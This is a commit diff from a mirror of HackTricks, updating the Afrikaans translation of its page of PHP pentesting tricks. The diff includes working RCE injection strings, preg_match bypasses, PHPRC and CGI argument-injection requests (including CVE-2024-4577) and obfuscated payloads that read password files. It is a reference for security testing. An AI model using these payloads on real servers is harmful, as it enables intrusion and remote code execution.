mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
125400c52c
commit
0b584b88db
1 changed files with 58 additions and 39 deletions
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Koekies algemene plek:
|
||||
|
||||
Dit is ook geldig vir phpMyAdmin-koekies.
|
||||
Dit is ook geldig vir phpMyAdmin koekies.
|
||||
|
||||
Koekies:
|
||||
```
|
||||
|
@ -47,10 +47,10 @@ PHP-vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
|
||||
* `"0xAAAA" == "43690" -> True` Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met 'n ware resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
|
||||
* `"0xAAAA" == "43690" -> True` Strings saamgestel uit syfers in desimale of heksadesimale formaat kan vergelyk word met ander syfers/strings met 'n ware resultaat as die syfers dieselfde was (syfers in 'n string word geïnterpreteer as syfers)
|
||||
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg deur enigiets, sal gelyk wees aan 0
|
||||
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg deur enige letter (X kan enige letter wees) en gevolg deur enigiets, sal gelyk wees aan 0
|
||||
* `"0e12334" == "0" --> True` Dit is baie interessant omdat in sommige gevalle jy die string invoer van "0" kan beheer en sommige inhoud wat gehash word en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
|
||||
* `"0e12334" == "0" --> True` Dit is baie interessant omdat jy in sommige gevalle die string invoer van "0" kan beheer en 'n paar inhoud wat gehash word en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
|
||||
|
||||
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -86,7 +86,7 @@ Selfs as `===` **gebruik word** kan daar foute wees wat die **vergelyking vatbaa
|
|||
|
||||
**`preg_match()`** kan gebruik word om **gebruikersinvoer te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
|
||||
|
||||
#### Nuwe lyn omseil
|
||||
#### Nuwe lyn omseiling
|
||||
|
||||
Maar, wanneer die begin van die regexp afgebaken word, **kontroleer `preg_match()` slegs die eerste lyn van die gebruikersinvoer**, dus as jy die invoer op een of ander manier in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
|
||||
```php
|
||||
|
@ -109,10 +109,10 @@ Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded
|
|||
```
|
||||
Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Lengte fout omseiling**
|
||||
#### **Lengte fout omseil**
|
||||
|
||||
(Die omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15)\
|
||||
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** nie en sal jy die toets kan **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
|
||||
(Hierdie omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)\
|
||||
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** nie en jy sal die kan om die toets te **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -122,10 +122,10 @@ Truuk van: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kortliks gebeur die probleem omdat die `preg_*` funksies in PHP voortbou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings gematch deur 'n baie van herhalende oproepe te gebruik, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas.
|
||||
Kortliks gebeur die probleem omdat die `preg_*` funksies in PHP voortbou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings deur middel van baie herhalende oproepe geëvalueer, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas.
|
||||
|
||||
[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
|
||||
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat terugkeer en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload 'n verrassing gooi soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag te kry :)**.
|
||||
[Dit Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
|
||||
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat terugkeer en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en aan die einde van die nutslading iets soos `{system(<verybadcommand>)}` gooi om SSTI --> RCE --> vlag te kry :)**.
|
||||
|
||||
Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoelstappe", wat soos die [PHP-dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) dit stel, standaard tot 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike.\
|
||||
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoelstappe (500k vorentoe en 500k agtertoe):
|
||||
|
@ -143,9 +143,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## Voer Uit Na Omleiding (EAR)
|
||||
## Voer uit na omskakeling (EAR)
|
||||
|
||||
Indien PHP na 'n ander bladsy omskakel, maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location`-kop ingestel is**, sal die PHP voortgaan met die uitvoering en die data aan die liggaam toevoeg:
|
||||
Indien PHP na 'n ander bladsy omskakel maar geen **`die`** of **`exit`** funksie word **geroep nadat die `Location` kop** ingestel is, sal die PHP voortgaan met die uitvoer en die data aan die liggaam toevoeg:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -165,7 +165,7 @@ Kyk:
|
|||
|
||||
## Meer truuks
|
||||
|
||||
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd geconfigureer, **register\_globals** mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", jy kan dit benader via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
|
||||
* **register\_globals**: In **PHP < 4.1.1.1** of indien verkeerd ingestel, **register\_globals** mag aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $\_GET as hulle 'n waarde het bv. $\_GET\["param"]="1234", jy kan dit benader via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes oorskrywe** wat binne die kode gebruik word.
|
||||
* Die **PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor**, daarom as binne 'n domein **verskillende koekies in verskillende paaie** gebruik word kan jy maak dat 'n pad **die koekie van die pad benader** deur die waarde van die ander pad se koekie in te stel.\
|
||||
Op hierdie manier as **beide paaie 'n veranderlike met dieselfde naam benader** kan jy maak dat die **waarde van daardie veranderlike in pad1 van toepassing is op pad2**. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2).
|
||||
* Wanneer jy die **gebruikersname** van die gebruikers van die masjien het. Kyk na die adres: **/\~\<USERNAME>** om te sien of die php-gidse geaktiveer is.
|
||||
|
@ -174,7 +174,7 @@ Op hierdie manier as **beide paaie 'n veranderlike met dieselfde naam benader**
|
|||
### password\_hash/password\_verify
|
||||
|
||||
Hierdie funksies word tipies in PHP gebruik om **hasse van wagwoorde te genereer** en om te **kontroleer** of 'n wagwoord korrek is in vergelyking met 'n has.\
|
||||
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme, sal slegs die eerste 72B gebruik word:
|
||||
Die ondersteunde algoritmes is: `PASSWORD_DEFAULT` en `PASSWORD_BCRYPT` (begin met `$2y$`). Let daarop dat **PASSWORD\_DEFAULT dikwels dieselfde as PASSWORD\_BCRYPT is.** En tans het **PASSWORD\_BCRYPT** 'n **groottebeperking in die inset van 72 byte**. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme sal slegs die eerste 72B gebruik word:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -182,13 +182,13 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### HTTP koppe omseil deur PHP foute te misbruik
|
||||
### HTTP koppeleiers om PHP-foute te misbruik
|
||||
|
||||
#### Fout veroorsaak nadat koppe ingestel is
|
||||
#### Fout veroorsaak nadat koppeleiers ingestel is
|
||||
|
||||
Vanaf [**hierdie twitterdraad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET-parameters of 1000 POST-parameters of 20 lêers gestuur word, PHOP nie koppe in die respons gaan instel nie.
|
||||
Vanaf [**hierdie twitterdraad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET-parameters of 1000 POST-parameters of 20 lêers gestuur word, PHOP nie koppeleiers in die respons gaan instel nie.
|
||||
|
||||
Dit maak dit moontlik om byvoorbeeld CSP-koppe te omseil wat ingestel word in kodes soos:
|
||||
Dit maak dit moontlik om byvoorbeeld CSP-koppeleiers te omseil wat ingestel is in kodes soos:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -196,8 +196,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Die vul van 'n liggaam voordat koppe ingestel word
|
||||
|
||||
Indien 'n **PHP-bladsy foute druk en 'n paar insette wat deur die gebruiker voorsien word, terugkaats**, kan die gebruiker die PHP-bediener laat terugdruk met 'n **inhoud wat lank genoeg** is sodat wanneer dit probeer om **die koppe by die antwoord te voeg**, die bediener 'n fout sal veroorsaak.\
|
||||
In die volgende scenario het die **aanvaller die bediener groot foute laat veroorsaak**, en soos gesien kan word op die skerm, toe php probeer om **die kopinligting te wysig, kon dit nie** (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
|
||||
Indien 'n **PHP-bladsy foute druk en 'n paar insette wat deur die gebruiker voorsien word, terugkaats**, kan die gebruiker die PHP-bediener laat terugdruk met 'n **inhoud wat lank genoeg** is sodat wanneer dit probeer om **die koppe by die respons te voeg**, die bediener 'n fout sal gooi.\
|
||||
In die volgende scenario het die **aanvaller die bediener groot foute laat gooi**, en soos gesien kan word op die skerm toe php probeer om **die kopinligting te wysig, kon dit nie** (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
|
@ -215,7 +215,7 @@ Kyk na die bladsy:
|
|||
**\`ls\`;**\
|
||||
**shell\_exec("ls");**
|
||||
|
||||
[Kyk hier vir meer nuttige PHP-funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
[Kyk hierna vir meer nuttige PHP-funksies](php-useful-functions-disable\_functions-open\_basedir-bypass/)
|
||||
|
||||
### **RCE via** **preg\_replace()**
|
||||
```php
|
||||
|
@ -240,7 +240,7 @@ Hierdie funksie binne php maak dit moontlik om **kode wat geskryf is in 'n strin
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Jy sal die kode sintaksie moet **breek**, jou **lading byvoeg**, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Op dieselfde manier werk ";" nie omdat ons lading nie uitgevoer sal word nie.
|
||||
Jy sal die kode sintaksie moet **breek**, jou **lading byvoeg**, en dit dan weer **regmaak**. Jy kan **logiese operasies** soos "**en**" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Dieselfde geld vir ";", dit sal nie werk nie omdat ons lading nie uitgevoer sal word nie.
|
||||
|
||||
**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`
|
||||
|
||||
|
@ -271,13 +271,13 @@ usort();}phpinfo;#, "cmp");
|
|||
```
|
||||
### **RCE via .httaccess**
|
||||
|
||||
As jy 'n **.htaccess** kan **oplaai**, kan jy verskeie dinge **konfigureer** en selfs kode uitvoer (deur daardie lêers met die uitbreiding .htaccess te **laat uitvoer**).
|
||||
Indien jy 'n **.htaccess** kan **oplaai**, kan jy verskeie dinge **konfigureer** en selfs kode uitvoer (deur daardie lêers met die uitbreiding .htaccess te **laat uitvoer**).
|
||||
|
||||
Verskillende .htaccess doppe kan hier gevind word [hier](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE via Env Variables
|
||||
### RCE via Omgewingsveranderlikes
|
||||
|
||||
As jy 'n kwesbaarheid vind wat jou toelaat om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing dit dalk omseil kan word), kan jy hierdie gedrag misbruik om **RCE** te kry.
|
||||
As jy 'n kwesbaarheid vind wat jou toelaat om **omgewingsveranderlikes in PHP te wysig** (en nog een om lêers op te laai, alhoewel dit met meer navorsing dalk omseil kan word), kan jy hierdie gedrag misbruik om **RCE** te kry.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander bineêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
|
||||
* **`PHPRC`** : Instrueer PHP oor **waar om sy konfigurasie lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan `PHPRC` om PHP daarheen te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaai lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode wat dan uitgevoer word** deur die PHP-uitvoertyd voor enige ander kode.
|
||||
|
@ -292,6 +292,27 @@ As jy 'n kwesbaarheid vind wat jou toelaat om **omgewingsveranderlikes in PHP te
|
|||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Tegniek [**vanaf hierdie verslag**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Die webbediener ontled HTTP-versoeke en stuur hulle na 'n PHP-skrip wat 'n versoek soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) uitvoer as `php.exe cgi.php foo=bar`, wat 'n parameterinspuiting toelaat. Dit sou toelaat om die volgende parameters in te spuit om die PHP-kode van die liggaam te laai:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Verder is dit moontlik om die "-" parameter in te spuit deur die 0xAD karakter te gebruik as gevolg van latere normalisering van PHP. Kyk na die uitbuitingsvoorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
User-Agent: curl/8.3.0
|
||||
Accept: */*
|
||||
Content-Length: 23
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: keep-alive
|
||||
|
||||
<?php
|
||||
phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Statische analise
|
||||
|
||||
Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
|
@ -300,7 +321,7 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Indien jy 'n PHP-aansoek aan die toets is, kan jy foutdruk globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
|
||||
Indien jy 'n PHP-aansoek aan die foutopsporing is, kan jy foutdruk globaal aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en Apache te herlaai: `sudo systemctl restart apache2`
|
||||
|
||||
### Ontsleuteling van PHP-kode
|
||||
|
||||
|
@ -308,11 +329,11 @@ Jy kan die **web**[ **www.unphp.net**](http://www.unphp.net) **gebruik om PHP-ko
|
|||
|
||||
## PHP Omhulsels & Protokolle
|
||||
|
||||
PHP Omhulsels en protokolle kan jou in staat stel om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit te kompromiteer. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP-omhulsels en protokolle kan jou moontlik in staat stel om **skryf- en leesbeskerming te omseil** in 'n stelsel en dit te kompromiteer. Vir [**meer inligting kyk na hierdie bladsy**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug ongeagte RCE
|
||||
|
||||
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()` uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
As jy sien dat **Xdebug** **geaktiveer** is in 'n `phpconfig()`-uitset, moet jy probeer om RCE te kry via [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Veranderlike veranderlikes
|
||||
```php
|
||||
|
@ -328,7 +349,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE misbruik nuwe $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
As in 'n bladsy jy **'n nuwe objek van 'n willekeurige klas kan skep** kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:
|
||||
Indien jy in 'n bladsy **'n nuwe objek van 'n willekeurige klas kan skep**, kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -343,8 +364,6 @@ As in 'n bladsy jy **'n nuwe objek van 'n willekeurige klas kan skep** kan jy mo
|
|||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
XOR (Exclusive OR) is 'n logiese operasie wat gebruik word in kriptografie en programmering. Dit is 'n bietjiewysoperasie wat twee bietjies vergelyk en 'n nuwe bietjie produseer wat slegs waar is as die twee oorspronklike bietjies verskil. In kriptografie word XOR dikwels gebruik om data te versleutel deur dit te meng met 'n sleutel.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -360,7 +379,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende deur daardie lading te misbruik om arbitrêre PHP uit te voer:
|
||||
So, as jy **arbitrêre PHP sonder syfers en letters kan uitvoer**, kan jy 'n versoek stuur soos die volgende wat misbruik maak van daardie lading om arbitrêre PHP uit te voer:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -439,7 +458,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
Loading…
Reference in a new issue